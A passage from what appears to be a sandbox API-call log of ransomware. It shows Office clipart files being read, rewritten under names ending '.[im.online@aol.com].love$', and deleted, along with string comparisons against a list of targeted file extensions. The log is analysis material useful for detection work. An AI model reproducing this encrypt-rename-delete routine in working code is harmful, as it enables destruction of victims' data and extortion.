lpNewFilePointer=0x0) returned 1 [0234.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.193] GetLastError () returned 0x0 [0235.193] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xa54, lpOverlapped=0x0) returned 1 [0235.195] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xa60, lpOverlapped=0x0) returned 1 [0235.197] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.197] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.197] SetEndOfFile (hFile=0x480) returned 1 [0235.197] CloseHandle (hObject=0x480) returned 1 [0235.197] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.197] SetEndOfFile (hFile=0x44c) returned 1 [0235.201] CloseHandle (hObject=0x44c) returned 1 [0235.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0235.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.202] lstrlenW (lpString=".doc") returned 4 [0235.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.203] lstrlenW (lpString=".docx") returned 5 [0235.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.203] lstrlenW (lpString=".pdf") returned 4 [0235.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.203] lstrlenW (lpString=".xls") returned 4 [0235.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.203] lstrlenW (lpString=".xlsx") returned 5 [0235.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.203] lstrlenW (lpString=".ppt") returned 4 [0235.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.203] lstrlenW (lpString=".zip") returned 4 [0235.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.203] lstrlenW (lpString=".rar") returned 4 [0235.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.203] lstrlenW (lpString=".bz2") returned 4 [0235.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.203] lstrlenW (lpString=".7z") returned 3 [0235.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.203] lstrlenW (lpString=".dbf") returned 4 [0235.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.203] lstrlenW (lpString=".1cd") returned 4 [0235.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.203] lstrlenW (lpString=".jpg") returned 4 [0235.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.204] lstrlenW (lpString=".doc") returned 4 [0235.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.204] lstrlenW (lpString=".docx") returned 5 [0235.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.204] lstrlenW (lpString=".pdf") returned 4 [0235.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.204] lstrlenW (lpString=".xls") returned 4 [0235.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.204] lstrlenW (lpString=".xlsx") returned 5 [0235.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.204] lstrlenW (lpString=".ppt") returned 4 [0235.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.204] lstrlenW (lpString=".zip") returned 4 [0235.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.204] lstrlenW (lpString=".rar") returned 4 [0235.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.204] lstrlenW (lpString=".bz2") returned 4 [0235.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.204] lstrlenW (lpString=".7z") returned 3 [0235.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.204] lstrlenW (lpString=".dbf") returned 4 [0235.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.205] lstrlenW (lpString=".1cd") returned 4 [0235.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0235.205] lstrlenW (lpString=".jpg") returned 4 [0235.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.205] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.205] lstrlenW (lpString="BS00076_.WMF") returned 12 [0235.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.206] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1330) returned 1 [0235.206] CloseHandle (hObject=0x44c) returned 1 [0235.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0235.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.207] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.207] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.208] GetLastError () returned 0x0 [0235.208] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x532, lpOverlapped=0x0) returned 1 [0235.210] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x540, lpOverlapped=0x0) returned 1 [0235.211] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.212] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.212] SetEndOfFile (hFile=0x480) returned 1 [0235.212] CloseHandle (hObject=0x480) returned 1 [0235.212] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.212] SetEndOfFile (hFile=0x44c) returned 1 [0235.215] CloseHandle (hObject=0x44c) returned 1 [0235.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0235.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.217] lstrlenW (lpString=".doc") returned 4 [0235.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.217] lstrlenW (lpString=".docx") returned 5 [0235.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.217] lstrlenW (lpString=".pdf") returned 4 [0235.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.217] lstrlenW (lpString=".xls") returned 4 [0235.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.217] lstrlenW (lpString=".xlsx") returned 5 [0235.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.217] lstrlenW (lpString=".ppt") returned 4 [0235.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.217] lstrlenW (lpString=".zip") returned 4 [0235.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.217] lstrlenW (lpString=".rar") returned 4 [0235.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.217] lstrlenW (lpString=".bz2") returned 4 [0235.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.217] lstrlenW (lpString=".7z") returned 3 [0235.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.217] lstrlenW (lpString=".dbf") returned 4 [0235.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.217] lstrlenW (lpString=".1cd") returned 4 [0235.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.218] lstrlenW (lpString=".jpg") returned 4 [0235.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.218] lstrlenW (lpString=".doc") returned 4 [0235.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.218] lstrlenW (lpString=".docx") returned 5 [0235.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.218] lstrlenW (lpString=".pdf") returned 4 [0235.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.218] lstrlenW (lpString=".xls") returned 4 [0235.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.218] lstrlenW (lpString=".xlsx") returned 5 [0235.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.218] lstrlenW (lpString=".ppt") returned 4 [0235.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.218] lstrlenW (lpString=".zip") returned 4 [0235.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.218] lstrlenW (lpString=".rar") returned 4 [0235.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.218] lstrlenW (lpString=".bz2") returned 4 [0235.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.218] lstrlenW (lpString=".7z") returned 3 [0235.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.218] lstrlenW (lpString=".dbf") returned 4 [0235.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.219] lstrlenW (lpString=".1cd") returned 4 [0235.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0235.219] lstrlenW (lpString=".jpg") returned 4 [0235.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.219] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.219] lstrlenW (lpString="BS00078_.WMF") returned 12 [0235.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.221] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1444) returned 1 [0235.221] CloseHandle (hObject=0x44c) returned 1 [0235.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0235.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.222] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.222] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.223] GetLastError () returned 0x0 [0235.223] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x5a4, lpOverlapped=0x0) returned 1 [0235.225] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x5b0, lpOverlapped=0x0) returned 1 [0235.226] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.227] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.227] SetEndOfFile (hFile=0x480) returned 1 [0235.227] CloseHandle (hObject=0x480) returned 1 [0235.227] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.227] SetEndOfFile (hFile=0x44c) returned 1 [0235.230] CloseHandle (hObject=0x44c) returned 1 [0235.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0235.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.232] lstrlenW (lpString=".doc") returned 4 [0235.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.232] lstrlenW (lpString=".docx") returned 5 [0235.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.232] lstrlenW (lpString=".pdf") returned 4 [0235.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.232] lstrlenW (lpString=".xls") returned 4 [0235.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.232] lstrlenW (lpString=".xlsx") returned 5 [0235.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.232] lstrlenW (lpString=".ppt") returned 4 [0235.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.232] lstrlenW (lpString=".zip") returned 4 [0235.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.232] lstrlenW (lpString=".rar") returned 4 [0235.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.232] lstrlenW (lpString=".bz2") returned 4 [0235.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.232] lstrlenW (lpString=".7z") returned 3 [0235.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.232] lstrlenW (lpString=".dbf") returned 4 [0235.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.233] lstrlenW (lpString=".1cd") returned 4 [0235.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.233] lstrlenW (lpString=".jpg") returned 4 [0235.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.233] lstrlenW (lpString=".doc") returned 4 [0235.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.233] lstrlenW (lpString=".docx") returned 5 [0235.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.233] lstrlenW (lpString=".pdf") returned 4 [0235.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.233] lstrlenW (lpString=".xls") returned 4 [0235.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.233] lstrlenW (lpString=".xlsx") returned 5 [0235.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.233] lstrlenW (lpString=".ppt") returned 4 [0235.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.233] lstrlenW (lpString=".zip") returned 4 [0235.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.233] lstrlenW (lpString=".rar") returned 4 [0235.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.233] lstrlenW (lpString=".bz2") returned 4 [0235.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.234] lstrlenW (lpString=".7z") returned 3 [0235.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.234] lstrlenW (lpString=".dbf") returned 4 [0235.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.234] lstrlenW (lpString=".1cd") returned 4 [0235.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0235.234] lstrlenW (lpString=".jpg") returned 4 [0235.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.234] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.234] lstrlenW (lpString="BS00092_.WMF") returned 12 [0235.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.235] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7974) returned 1 [0235.235] CloseHandle (hObject=0x44c) returned 1 [0235.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0235.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.236] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.236] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.237] GetLastError () returned 0x0 [0235.237] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, 